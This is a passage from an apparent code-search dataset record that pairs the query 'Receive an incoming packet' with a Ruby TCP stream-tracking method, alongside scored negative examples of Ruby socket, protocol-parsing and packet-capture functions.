@dead_socket = true\n return\n end\n\n line.chomp!\n\n report \"+++INCOMING: #{line}\" if @loud\n\n # Only synchronize long enough to push our incoming string onto the\n # input buffer\n @input_buffer_mutex.synchronize do\n @input_buffer.push(line)\n end\n end", "def has_read_data?(timeout = nil)\n\n # Allow a timeout of \"0\" that waits almost indefinitely for input, this\n # mimics the behavior of Rex::ThreadSafe.select() and fixes some corner\n # cases of unintentional no-wait timeouts.\n timeout = 3600 if (timeout and timeout == 0)\n\n begin\n if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and\n (rv[0]) and\n (rv[0][0] == fd))\n true\n else\n false\n end\n rescue ::Errno::EBADF, ::Errno::ENOTSOCK\n raise ::EOFError\n rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE\n # Return false if the socket is dead\n return false\n end\n end", "def receive( pkt )\n raise 'not udp!' unless pkt.udp?\n if @sessions[ reverse_key = pkt.ip_dst_s + ',' + pkt.ip_src_s + ',' + pkt.dport.to_s + ',' + pkt.sport.to_s ]\n key = reverse_key\n elsif @sessions[ forward_key = pkt.ip_src_s + ',' + pkt.ip_dst_s + ',' + pkt.sport.to_s + ',' + pkt.dport.to_s ]\n key = forward_key\n elsif (!@options[:sampling_ratio] or (Digest::MD5.hexdigest( pkt.ip_src_s ).to_i(16) % (2 ** 32)).to_f / (2 ** 32).to_f < @options[:sampling_ratio])\n key = forward_key\n @sessions[key] = UDPSession.new( @options )\n else\n return []\n end\n @sessions[key].receive pkt\n end", "def receive_data data\n if @telnet_options[:telnet_mode]\n c = @input_rest + data\n se_pos = c.rindex(/#{IAC}#{SE}/no) || 0\n sb_pos = c.rindex(/#{IAC}#{SB}/no) || 0\n if se_pos < sb_pos\n buf = preprocess_telnet(c[0 ... sb_pos])\n @input_rest = c[sb_pos .. -1]\n\n elsif pt_pos = c.rindex(\n /#{IAC}[^#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]?\\z/no) ||\n c.rindex(/\\r\\z/no)\n\n buf = preprocess_telnet(c[0 ... pt_pos])\n @input_rest = c[pt_pos .. -1]\n\n else\n buf = preprocess_telnet(c)\n @input_rest.clear\n end\n else\n # Not Telnetmode.\n #\n # We cannot use #preprocess_telnet on this data, because that\n # method makes some Telnetmode-specific assumptions.\n buf = @input_rest + data\n @input_rest.clear\n unless @telnet_options[:bin_mode]\n if pt_pos = buf.rindex(/\\r\\z/no)\n buf = buf[0 ... pt_pos]\n @input_rest = buf[pt_pos .. -1]\n end\n buf.gsub!(/#{EOL}/no, \"\\n\")\n end\n end\n\n # in case only telnet sequences were received\n return if buf.empty?\n\n # append output from server to input buffer and log it\n @input_buffer << buf\n log_output buf, true\n\n # cancel the timer for wait_time value because we received more data\n if @wait_time_timer\n @wait_time_timer.cancel\n @wait_time_timer = nil\n end\n\n # we only need to do something if there's a connection state callback\n return unless @connection_state_callback\n\n # we ensure there's no timer running to check the input buffer\n if @check_input_buffer_timer\n @check_input_buffer_timer.cancel\n @check_input_buffer_timer = nil\n end\n\n if @input_buffer.size >= 100_000\n ##\n # if the input buffer is really big\n #\n\n # We postpone checking the input buffer by one second because the regular\n # expression matches can get quite slow.\n #\n # So as long as data is received (continuously), the input buffer is not\n # checked. It's only checked one second after the whole output has been\n # received.\n @check_input_buffer_timer = EventMachine::Timer.new(1) do\n @check_input_buffer_timer = nil\n check_input_buffer\n end\n else\n ##\n # as long as the input buffer is small\n #\n\n # check the input buffer now\n check_input_buffer\n end\n end", "def read\n ensure_connected do |socket|\n Protocol::Reply.deserialize(socket)\n end\n end", "def check_ok_response( socket, msg )\n result = socket.recv( 100 )\n logger.debug( \"Result for #{msg} : #{result}\" )\n raise \"Invalid response for #{msg}\" unless result == \"OK\\n\"\n end", "def _receive(read_socket, connread = false)\n # p [ \"ioscheck\", @iosto, connread ]\n # _dump_callstack()\n # drdbg = true\n drdbg = false\n @read_semaphore.synchronize do\n line = nil\n if connread\n begin\n Timeout::timeout(@connread_timeout, Stomp::Error::ConnectReadTimeout) do\n line = _init_line_read(read_socket)\n end\n rescue Stomp::Error::ConnectReadTimeout => ex\n if @reliable\n _reconn_prep()\n end\n raise ex\n end\n else\n p [ \"CONR01\" ] if drdbg\n _dump_callstack() if drdbg\n line = _init_line_read(read_socket)\n end\n #\n p [ \"nilcheck\", line.nil? ] if drdbg\n return nil if line.nil?\n #An extra \\n at the beginning of the frame, possibly not caught by is_ready?\n line = '' if line == \"\\n\"\n if line == HAND_SHAKE_DATA\n raise Stomp::Error::HandShakeDetectedError\n end\n p [ \"wiredatain_01A\", line, Time.now ] if drdbg\n line = _normalize_line_end(line) if @protocol >= Stomp::SPL_12\n p [ \"wiredatain_01B\", line, Time.now ] if drdbg\n # Reads the beginning of the message until it runs into a empty line\n message_header = ''\n begin\n message_header += line\n p [ \"wiredatain_02A\", line, Time.now ] if drdbg\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"wiredatain_02B\", line, Time.now ] if drdbg\n line = _interruptible_gets(read_socket)\n p [ \"wiredatain_02C\", line ] if drdbg\n raise if line.nil?\n line = _normalize_line_end(line) if @protocol >= Stomp::SPL_12\n p [ \"wiredatain_02D\", line ] if drdbg\n end until line =~ /^\\s?\\n$/\n p [ \"wiredatain_03A\" ] if drdbg\n # Checks if it includes content_length header\n content_length = message_header.match(/content-length\\s?:\\s?(\\d+)\\s?\\n/)\n message_body = ''\n\n p [ \"wiredatain_03B\", content_length ] if drdbg\n # If content_length is present, read the specified amount of bytes\n if content_length\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"CL01\" ] if drdbg\n message_body = read_socket.read content_length[1].to_i\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n raise Stomp::Error::InvalidMessageLength unless parse_char(read_socket.getc) == \"\\0\"\n # Else read the rest of the message until the first \\0\n else\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"NOCL01\" ] if drdbg\n message_body = read_socket.readline(\"\\0\")\n message_body.chop!\n end\n\n p [ \"wiredatain_04\" ] if drdbg\n # If the buffer isn't empty, reads trailing new lines.\n #\n # Note: experiments with JRuby seem to show that socket.ready? never\n # returns true. It appears that in cases where Ruby returns true\n # that JRuby returns a Fixnum. We attempt to adjust for this\n # in the _is_ready? method.\n #\n # Note 2: the draining of new lines must be done _after_ a message\n # is read. Do _not_ leave them on the wire and attempt to drain them\n # at the start of the next read. Attempting to do that breaks the\n # asynchronous nature of the 'poll' method.\n p [ \"wiredatain_05_prep\", \"isr\", _is_ready?(read_socket) ] if drdbg\n while _is_ready?(read_socket)\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"WHIR01\" ] if drdbg\n last_char = read_socket.getc\n break unless last_char\n if parse_char(last_char) != \"\\n\"\n read_socket.ungetc(last_char)\n break\n end\n end\n p [ \"wiredatain_05A\" ] if drdbg\n if @protocol >= Stomp::SPL_11\n @lr = Time.now.to_f if @hbr\n end\n # Adds the excluded \\n and \\0 and tries to create a new message with it\n p [ \"wiredatain_05B\" ] if drdbg\n msg = Message.new(message_header + \"\\n\" + message_body + \"\\0\", @protocol >= Stomp::SPL_11)\n p [ \"wiredatain_06\", msg.command, msg.headers ] if drdbg\n #\n if @protocol >= Stomp::SPL_11 && msg.command != Stomp::CMD_CONNECTED\n msg.headers = _decodeHeaders(msg.headers)\n end\n p [ \"wiredatain_99\", msg.command, msg.headers ] if drdbg\n msg\n end\n end", "def packet_in(packet)\n if @promiscuous || packet.to_mac == @mac_address || packet.to_mac == MacAddress::BROADCAST\n Log.puts \"#{@host.name}/#{@name} got #{packet}\" if @trace\n @host.handle_packet(self, packet)\n end\n end", "def fetch(length)\n # This callback should be set just once, yielding with the parsed message\n @driver.on(:message) { |msg| yield(msg.data.pack('C*')) } if @driver.listeners(:message).length.zero?\n\n data = @sock.read_nonblock(length) # Read from the socket\n @driver.parse(data) # Parse the incoming data, run the callback from above\n end", "def read?\n (status == READ)\n end", "def receive_message\n true\n end", "def next_line_readable?\r\n readfds, writefds, exceptfds = select([@socket], nil, nil, 0.1)\r\n readfds #Will be nil if next line can't be red\r\n end", "def listen\n begin\n while not @s.closed?\n # Wait for up to two minutes for data to be sent,\n # terminating \"listen\" with an error if input times out.\n timeout = 120\n r = IO.select([@s], [], [], timeout)\n return false, \"Went #{timeout} seconds without input\" if r.nil?\n\n # Now process the message\n buf = @s.read(4)\n break if buf.nil? # If read fails, socket have been closed, so stop listening\n msglen = buf.unpack1(\"L>\")\n next if msglen == 0 # Special case for keep alive messages (do nothing)\n type, payload = @s.read(msglen).unpack(\"Ca#{msglen - 1}\")\n case type\n when 0\n self.h_choke()\n when 1\n self.h_unchoke()\n when 2\n self.h_interested()\n when 3\n self.h_not_interested()\n when 4\n index = payload.unpack1(\"L>\")\n self.h_have(index)\n when 5\n self.h_bitfield(payload)\n when 6\n index, offset, length = payload.unpack(\"L>L>L>\")\n self.h_request(index, offset, length)\n when 7\n index, offset, block = payload.unpack(\"L>L>a#{payload.bytesize - 8}\")\n self.h_piece(index, offset, block)\n @uped += block.bytesize\n when 8\n index, offset, length = payload.unpack(\"L>L>L>\")\n self.h_cancel(index, offset, length)\n end # Unknown message types are simply ignored (i.e. 9:Port is ignored because we don't support DHT)\n @msg_count += 1\n end\n rescue\n @dead = true\n @s.close\n self.disconnect()\n end\n end", "def receive_data_command\n true\n end", "def receive_data_command\n true\n end", "def parsed?\n self.parsed == 1\n end", "def eof?\n @socket.eof?\n rescue IOError, SystemCallError\n true\n end", "def promiscuous?\n\t\t\treturn false\n\t\tend", "def receive_datagram\n return unless IO.select([@socket], nil, nil, 0)\n data = @socket.recvfrom_nonblock(65507)\n datagram = Datagram.new payload: data[0], endpoint: data[1][3], port: data[1][1]\n datagram.valid? ? datagram : nil\n end", "def eof?\n if @stdin.wait_readable(0.00001)\n c = @stdin.getc\n result = c.nil? ? true : false\n @stdin.ungetc(c) unless c.nil?\n result\n else # buffer is empty\n false\n end\n end", "def read\n\n raise \"Interface not connected for read: #{@name}\" unless connected? && read_allowed?\n begin\n\n return get_packet\n rescue Exception => err\n\n Logger.instance.error(\"Error reading from interface : #{@name}\")\n disconnect()\n raise err\n end\n end", "def receive_packet(num, packet)\n # special case errors until I waste the time to scan them to see if they're\n # 4.0 or 4.1 packets. XXX\n if packet[0].ord == 0xFF\n self.error = packet[3..-1]\n self.state = :error\n end\n\n def packet.eof?; self[0].ord == 0xfe; end\n def packet.ok?; self[0].ord == 0x00; end\n\n case self.state\n when :preauth\n handle_preauth(num, Packets::Greeting.new(packet))\n when :auth_sent\n handle_postauth(num, Packets::OK.new(packet))\n\n # queries on a MySQL connection are synchronous. The response\n # packets are:\n # - ResultSet packet (which basically just says \"OK\")\n # - Field packets (describing columns)\n # - EOF (no more fields)\n # - RowData packets (describing a row)\n # - EOF (no more rows)\n\n when :ready\n inject\n when :awaiting_result_set\n # XXX just ignore for now\n self.state = :awaiting_fields\n when :awaiting_fields\n if packet.eof?\n self.state = :awaiting_rows\n else\n handle_field(num, Packets::Field.new(packet))\n end\n when :awaiting_rows\n if packet.eof?\n @cb.call(@fields, @rows)\n @fields = nil\n @rows = nil\n ready!\n else\n # rows have a variable number of variable-length strings, and no other\n # structure, so just hand the raw data off.\n handle_row(num, packet)\n end\n when :awaiting_statement_handle\n if packet.ok?\n handle_statement_handle(num, Packets::PrepareOk.new(packet))\n else\n # XXX handle this case\n @state = :error\n end\n when :awaiting_prepared_params\n if packet.eof?\n @state = :waiting_prepared_fields\n else\n # I cannot for the life of me figure out what I'm supposed\n # to do with these --- using mysql-ruby, I can't get them\n # to change based on their type. Why does MySQL send them?\n # I figured it'd be to let me enforce types on the params.\n end\n when :awaiting_prepared_fields\n if packet.eof?\n @cb.call(@stmt)\n @cb, @stmt, @expect_params, @expect_columns = nil, nil, nil, nil\n ready!\n else\n # I guess I could cache these? But why bother? MySQL is just\n # going to send them again. This protocol confuses and infuriates us!\n end\n when :error\n pp self.error\n else\n raise \"don't know how to handle\"\n end\n end", "def parsed?\n @parsed\n end", "def receive_data data\n #log.debug { \"Receiving data (#{data.size} bytes)\" }\n @lock.synchronize { @parser.parse(data) }\n rescue\n log.warn { \"Error handling data: #{data.hth}\" }\n p $!; puts *$@\n end", "def alive?\n sock_arr = [ @socket ]\n if Kernel::select(sock_arr, nil, sock_arr, 0)\n # The eof? call is supposed to return immediately since select\n # indicated the socket is readable. However, if @socket is a TLS\n # socket, eof? can block anyway - see RUBY-2140.\n begin\n Timeout.timeout(0.1) do\n eof?\n end\n rescue ::Timeout::Error\n true\n end\n else\n true\n end\n end", "def socket?() end", "def blocking_read\n raise RuntimeError, \"RAWIP: blocking_read: Not connected!\" unless connected?\n begin\n loop do\n data, sender = @rsock.recvfrom(8192)\n port, host = Socket.unpack_sockaddr_in(sender)\n #Assume a 20 byte IP header (yuck!)\n return data[20..-1] if host == @dest # only queue packets from our peer\n end\n rescue\n destroy_connection\n raise RuntimeError, \"RAWIP: blocking_read: Couldn't read from socket! (#{$!})\"\n end\n end", "def do_receive\n\n remove = @message['flavour'] != 'flank'\n\n from_child = nil\n from_child = cnodes.delete(from) if cnodes_any? && remove\n\n if di = @message['disable']\n #\n # the off: and the disable:/disabled: can achieve that\n\n wrap_reply('disabled' => di)\n\n elsif node_closed?\n\n if from_child || node_status_flavour\n receive_from_child_when_closed\n else\n receive_when_closed\n end\n\n elsif node_ended?\n\n receive_when_ended\n\n elsif should_apply_on_receive?\n\n apply_on_receive\n\n else\n\n orn = @node['on_receive_nid']\n @from = orn[1] if orn && orn[0] == from\n #\n # in order to move on to the next child...\n\n receive\n end\n end", "def next_line_readable?(socket)\n readfds, writefds, exceptfds = select([socket], nil, nil, 0.1)\n readfds \n end", "def next_line_readable?(socket)\n readfds, writefds, exceptfds = select([socket], nil, nil, 0.1)\n readfds \n end", "def receive(queue, header, message, options, &block)\n begin\n if options[:no_unserialize] || @serializer.nil?\n execute_callback(block, @identity, message, header)\n elsif message == \"nil\"\n # This happens as part of connecting an instance agent to a broker prior to version 13\n header.ack if options[:ack]\n logger.debug(\"RECV #{@alias} nil message ignored\")\n elsif (packet = unserialize(queue, message, options))\n execute_callback(block, @identity, packet, header)\n elsif options[:ack]\n # Need to ack empty packet since no callback is being made\n header.ack\n end\n true\n rescue StandardError => e\n header.ack if options[:ack]\n logger.exception(\"Failed receiving message from queue #{queue.inspect} on broker #{@alias}\", e, :trace)\n @exception_stats.track(\"receive\", e)\n update_non_delivery_stats(\"receive failure\", e)\n end\n end", "def receive(xml)\n @mutex.synchronize { process_xml_from_socket(xml) }\n end", "def receive\n complete = \"\"\n while (t = read) != 0.chr\n if t == @char_lead_byte then\n t = read\n end\n\n attempt_to_reconnect if t.nil?\n\n complete << t\n end\n\n complete\n end", "def receive_line line\n message = IRCParser::Message.parse line\n\n @network.got_message message\n end", "def packet(pkt)\n super(pkt)\n ret = nil\n\n # Let's ignore (for now) packets that are simply ACKs and nothing else\n return nil unless pkt.tcp_syn? or pkt.tcp_fin? or pkt.tcp_rst? or\n pkt.tcp_data_len > 0\n \n # Should we be raising a STREAM event?\n if pkt.tcp_data_len > 0 and @event_collector.stream_capture\n @event_collector.stream_capture.each do |sc|\n if (sc[0].nil? or sc[0] == pkt.src.to_i) and # source IP\n (sc[2].nil? or sc[2] == pkt.dst.to_i) and # destination IP\n (sc[1].nil? or sc[1] == pkt.sport) and # source port\n (sc[3].nil? or sc[3] == pkt.dport) # destination port\n @event_collector.send(sc[4]) do\n state = identify_state(pkt, :tcp, false)\n { :content => pkt.tcp_data, :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport }\n end\n end # of if match\n end # of each stream_capture\n end # of if stream event\n\n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n make_state = !(pkt.tcp_fin? or pkt.tcp_rst?)\n state = identify_state(pkt, :tcp, make_state)\n state.ack_seen = pkt.tcp_ack? unless pkt.tcp_rst?\n \n # Check to see if we need to prune some state objects\n if pkt.time.to_i > @next_prune\n @next_prune = pkt.time.to_i + 60 # one minute prune interval\n syn_timeout = pkt.time - @event_collector.syn_timeout_delay\n stream_timeout = pkt.time - @event_collector.stream_timeout_delay\n @states.each do |_,chk|\n if chk.last_seen < syn_timeout\n # Is this state only a syn so far?\n if not chk.ack_seen\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i),\n :src_port => chk.sport, :dst_port => chk.dport, :rst => false }\n end\n delete_state(chk)\n \n # Okay, there's been some traffic. Has a full timeout occured?\n elsif chk.last_seen < stream_timeout\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!chk.syn_seen, :timeout => true,\n :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i), :rst => false,\n :dst_port => chk.dport, :src_port => chk.sport, :sync => false,\n :fin => false }\n end\n delete_state(chk)\n end # of if stream_timeout\n end # of syn_timeout\n end\n end\n\n # Is this state brand new? If so, add some TCP-specific information\n state.tcp_init(pkt, @event_collector) unless state.layer_4\n\n # Let's make sure the sequence numbers are what we expect\n ret = validate_sequence_numbers(pkt, state, dir) if state.app_state\n return nil unless ret\n\n # If this is a connection we've seen in its entirety, hand it up to\n # the next stage - the protocol parser (layer 7)\n if state.app_state and pkt.tcp_data and pkt.tcp_data.length > 0\n @protos.parse(pkt.tcp_data, state, dir)\n end\n\n # Is this a FIN or a RST? Should we close out this state?\n if pkt.tcp_fin?\n state.fin_up = true if dir == :up\n state.fin_down = true if dir == :down\n @protos.conclude(state, dir) # Signal the end of this direction\n end\n if pkt.tcp_rst? or (state.fin_up and state.fin_down)\n if not state.ack_seen # Explicit connection rejection\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => false, :src_ip => @protos.str_ip(pkt.dst.to_i),\n :dst_ip => @protos.str_ip(pkt.src.to_i),\n :src_port => pkt.dport, :dst_port => pkt.sport, :rst => true }\n end\n else # regular connection termination\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport, :rst => pkt.tcp_rst?, :sync => false,\n :fin => (state.fin_up and state.fin_down), :timeout => false }\n end\n @protos.conclude(state, :up) # Signal the end of the stream in\n @protos.conclude(state, :down) # both directions.\n end\n delete_state(state)\n end\n\n # Finally, if we have a queued packet to inject, inject it now. This must\n # be done last!\n packet(ret) if ret.class <= ::Pcap::TCPPacket\n true\n end", "def valid?\n case packet_smb_version\n when 'SMB1'\n return smb_header.protocol == RubySMB::SMB1::SMB_PROTOCOL_ID &&\n smb_header.command == self.class::COMMAND\n when 'SMB2'\n return smb2_header.protocol == RubySMB::SMB2::SMB2_PROTOCOL_ID &&\n smb2_header.command == self.class::COMMAND\n end\n end", "def udp?\n @udp_header\n end", "def receive_data_command\n @headers_finished = false\n @body = []\n @headers = {}\n\n return true\n end", "def checkScan packet\n\tif packet.is_tcp?\n\t\tif packet.tcp_flags.to_i == 0 # No flags on\n\t\t\treturn \"NULL\"\n\t\telsif packet.tcp_flags.to_i == 41 # FIN, PSH, URG flags all on\n\t\t\treturn \"XMAS\"\n\t\tend\n\tend\n\tnil\nend", "def parse_response?\n parse_response\n end", "def udp?\n return (proto == 'udp')\n end" ]
[ "0.6855456", "0.6343555", "0.6154703", "0.5993474", "0.59458494", "0.59374386", "0.5933196", "0.5866103", "0.5865824", "0.58347625", "0.5820895", "0.5754267", "0.5732191", "0.57225776", "0.57075965", "0.57003146", "0.56852853", "0.56744826", "0.5656433", "0.56099737", "0.5600309", "0.55325603", "0.5504259", "0.55035394", "0.5467542", "0.5466162", "0.5408391", "0.536092", "0.5356734", "0.5350768", "0.5345141", "0.53348404", "0.5294005", "0.52912986", "0.52909034", "0.5287677", "0.52832985", "0.5262456", "0.5241109", "0.52362466", "0.52338624", "0.52338624", "0.5228354", "0.5220756", "0.5211992", "0.520898", "0.52085555", "0.5198552", "0.5197715", "0.5194905", "0.5191335", "0.5167543", "0.5160728", "0.5160606", "0.5159512", "0.5152626", "0.5115758", "0.5111281", "0.5104349", "0.50941485", "0.5092535", "0.5090755", "0.50863105", "0.5083832", "0.50812477", "0.5075297", "0.50661117", "0.5063522", "0.50342137", "0.5031745", "0.5028738", "0.50286496", "0.50270915", "0.50270915", "0.50218564", "0.50017124", "0.5001531", "0.49959907", "0.49920493", "0.49867782", "0.49844354", "0.49798426", "0.49766105", "0.49749908", "0.49693355", "0.49687186", "0.49634188", "0.49582285", "0.49582285", "0.49580523", "0.49539274", "0.4949507", "0.49415424", "0.49270847", "0.49192464", "0.49110228", "0.4909274", "0.49023956", "0.4900986", "0.48916653" ]
0.52522725
38
Receive an incoming packet. Return true if parsed, false if not.
def packet(pkt) super(pkt) ret = nil # Let's ignore (for now) packets that are simply ACKs and nothing else return nil unless pkt.tcp_syn? or pkt.tcp_fin? or pkt.tcp_rst? or pkt.tcp_data_len > 0 # Should we be raising a STREAM event? if pkt.tcp_data_len > 0 and @event_collector.stream_capture @event_collector.stream_capture.each do |sc| if (sc[0].nil? or sc[0] == pkt.src.to_i) and # source IP (sc[2].nil? or sc[2] == pkt.dst.to_i) and # destination IP (sc[1].nil? or sc[1] == pkt.sport) and # source port (sc[3].nil? or sc[3] == pkt.dport) # destination port @event_collector.send(sc[4]) do state = identify_state(pkt, :tcp, false) { :content => pkt.tcp_data, :syn_seen => !!state.syn_seen, :src_ip => @protos.str_ip(pkt.src.to_i), :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport, :dst_port => pkt.dport } end end # of if match end # of each stream_capture end # of if stream event # Determine the packet's direction (up == src -> dst) dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down # First, identify if this is a new stream or part of one on which we are # already keeping state. make_state = !(pkt.tcp_fin? or pkt.tcp_rst?) state = identify_state(pkt, :tcp, make_state) state.ack_seen = pkt.tcp_ack? unless pkt.tcp_rst? # Check to see if we need to prune some state objects if pkt.time.to_i > @next_prune @next_prune = pkt.time.to_i + 60 # one minute prune interval syn_timeout = pkt.time - @event_collector.syn_timeout_delay stream_timeout = pkt.time - @event_collector.stream_timeout_delay @states.each do |_,chk| if chk.last_seen < syn_timeout # Is this state only a syn so far? if not chk.ack_seen @event_collector.send(:tcp_connect_failed) do { :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i), :dst_ip => @protos.str_ip(chk.dst.to_i), :src_port => chk.sport, :dst_port => chk.dport, :rst => false } end delete_state(chk) # Okay, there's been some traffic. Has a full timeout occured? elsif chk.last_seen < stream_timeout @event_collector.send(:tcp_stream_end) do { :syn_seen => !!chk.syn_seen, :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i), :dst_ip => @protos.str_ip(chk.dst.to_i), :rst => false, :dst_port => chk.dport, :src_port => chk.sport, :sync => false, :fin => false } end delete_state(chk) end # of if stream_timeout end # of syn_timeout end end # Is this state brand new? If so, add some TCP-specific information state.tcp_init(pkt, @event_collector) unless state.layer_4 # Let's make sure the sequence numbers are what we expect ret = validate_sequence_numbers(pkt, state, dir) if state.app_state return nil unless ret # If this is a connection we've seen in its entirety, hand it up to # the next stage - the protocol parser (layer 7) if state.app_state and pkt.tcp_data and pkt.tcp_data.length > 0 @protos.parse(pkt.tcp_data, state, dir) end # Is this a FIN or a RST? Should we close out this state? if pkt.tcp_fin? state.fin_up = true if dir == :up state.fin_down = true if dir == :down @protos.conclude(state, dir) # Signal the end of this direction end if pkt.tcp_rst? or (state.fin_up and state.fin_down) if not state.ack_seen # Explicit connection rejection @event_collector.send(:tcp_connect_failed) do { :timeout => false, :src_ip => @protos.str_ip(pkt.dst.to_i), :dst_ip => @protos.str_ip(pkt.src.to_i), :src_port => pkt.dport, :dst_port => pkt.sport, :rst => true } end else # regular connection termination @event_collector.send(:tcp_stream_end) do { :syn_seen => !!state.syn_seen, :src_ip => @protos.str_ip(pkt.src.to_i), :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport, :dst_port => pkt.dport, :rst => pkt.tcp_rst?, :sync => false, :fin => (state.fin_up and state.fin_down), :timeout => false } end @protos.conclude(state, :up) # Signal the end of the stream in @protos.conclude(state, :down) # both directions. end delete_state(state) end # Finally, if we have a queued packet to inject, inject it now. This must # be done last! packet(ret) if ret.class <= ::Pcap::TCPPacket true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def receive_packet\n\t\treturn parser.recv(self.sock)\n\tend", "def receive?\n type == 'receive'\n end", "def received?\n status.received? || status.read?\n end", "def recv\n data = String.new\n data << @socket.gets until data.match(/\\r\\n$/)\n Parser.parse(data)\n end", "def parse\n parse_command_and_headers if @frame.command.nil?\n success = if @frame.command\n if @body_length\n parse_binary_body\n else\n parse_text_body\n end\n elsif (match = @buffer.match(/\\A\\n|\\A\\r|\\A\\r\\n/))\n # Ignore heartbeat\n @buffer = match.post_match\n true\n end\n\n # Keep parsing if making progress and there is more data\n parse if success && [email protected]?\n true\n end", "def readable?\n return false if @socket.closed?\n r,_,_ = Kernel.select([@socket], nil, nil, @timeout) rescue nil\n return !(r.nil? or r.empty?)\n end", "def receive\n parse(recv)\n end", "def _receive_result state\n unless @one_way || state.message.one_way\n state.result_payload = _read(state.in_stream, state)\n true\n end\n end", "def receive_any(packet)\n RightLinkLog.debug(\"RECV #{packet.to_s}\")\n case packet\n when Advertise\n RightLinkLog.info(\"RECV #{packet.to_s}\") unless RightLinkLog.level == :debug\n advertise_services\n when Request, Push\n RightLinkLog.info(\"RECV #{packet.to_s([:from, :tags])}\") unless RightLinkLog.level == :debug\n @dispatcher.dispatch(packet)\n when Result\n RightLinkLog.info(\"RECV #{packet.to_s([])}\") unless RightLinkLog.level == :debug\n @mapper_proxy.handle_result(packet)\n else\n RightLinkLog.error(\"Agent #{@identity} received invalid packet: #{packet.to_s}\")\n end\n true\n end", "def receive_request(packet)\n RightLinkLog.debug(\"RECV #{packet.to_s}\")\n case packet\n when Request, Push\n RightLinkLog.info(\"RECV #{packet.to_s([:from, :tags])}\") unless RightLinkLog.level == :debug\n @dispatcher.dispatch(packet)\n else\n RightLinkLog.error(\"Agent #{@identity} received invalid request packet: #{packet.to_s}\")\n end\n true\n end", "def pull?\n @data_bytes[1] != 0\n end", "def can_receive?\n if (self.state == 'C' or self.state == 'F')\n return true\n end\n return false\n end", "def can_recv?\n @socket.events & ZMQ::Poller::POLLIN == ZMQ::Poller::POLLIN\n end", "def receive_data\n if @socket\n # udp receive\n @socket.recvfrom(1024)\n else\n # tcp receive\n sleep 0.1\n if $received_data\n $received_data.shift\n else\n fail 'no data'\n end\n end\n end", "def waiting_for?(packet)\n\t\treturn (packet.rid == rid)\n\tend", "def received?\n !!self.received_at?\n end", "def reading?\n status.received?\n end", "def read_packet; end", "def process(packet)\n @init.call(Net::SSH::Packet.new(packet.to_s)) if @init\n type = packet.read_byte\n raise \"expected #{@type}, but got #{type}\" if @type != type\n\n @data.zip(types).each do |expected, _type|\n _type ||= case expected\n when nil then break\n when Numeric then :long\n when String then :string\n when TrueClass, FalseClass then :bool\n end\n\n actual = packet.send(\"read_#{_type}\")\n next if expected.nil?\n raise \"expected #{_type} #{expected.inspect} but got #{actual.inspect}\" unless expected == actual\n end\n end", "def receive_po\n is_received?\n end", "def reply\n bytes_read = receive_packet 1400\n is_compressed = false\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n # Parsing of split packet headers\n request_id = @buffer.long\n is_compressed = ((request_id & 0x80000000) != 0)\n packet_count = @buffer.byte\n packet_number = @buffer.byte + 1\n\n if is_compressed\n @buffer.long\n packet_checksum = @buffer.long\n else\n @buffer.short\n end\n\n # Caching of split packet data\n split_packets[packet_number - 1] = @buffer.get\n\n puts \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\" if $DEBUG\n\n # Receiving the next packet\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue TimeoutException\n bytes_read = 0\n end\n else\n bytes_read = 0\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n if is_compressed\n packet = SteamPacketFactory.reassemble_packet(split_packets, true, packet_checksum)\n else\n packet = SteamPacketFactory.reassemble_packet(split_packets)\n end\n else\n packet = SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n if is_compressed\n puts \"Got compressed reply of type \\\"#{packet.class.to_s}\\\".\" if $DEBUG\n else\n puts \"Got reply of type \\\"#{packet.class.to_s}\\\".\" if $DEBUG\n end\n\n packet\n end", "def received?\r\n self['trans_status']=='99'\r\n end", "def receive\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n self.sendcmd(\"main.rx\")\n end\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n return false\n end\n end", "def attempt_read\n # Return false if we have nothing else to read\n return false if @native_channel.eof\n\n # Attempt to read from stdout/stderr\n @session.blocking_call { read_stream(STREAM_DATA) }\n @session.blocking_call { read_stream(STREAM_EXTENDED_DATA) }\n\n # Return true always\n true\n end", "def fin?\n Capp::TCP_FIN == flags & 